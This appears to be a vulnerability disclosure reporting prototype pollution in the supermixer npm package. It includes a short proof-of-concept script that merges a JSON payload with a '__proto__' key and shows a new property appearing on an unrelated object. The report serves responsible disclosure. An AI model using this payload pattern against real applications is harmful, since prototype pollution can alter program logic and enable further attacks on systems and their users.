[supermixer] Prototype pollution

I would like to report a Prototype pollution in supermixer, It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation.

var mixer = require('supermixer');
var payload = '{"__proto__":{"poc":"evil"}}';
var test = {};
console.log("Before: ", test.poc);
mixer.merge({},JSON.parse(payload));
console.log("After: ", test.poc);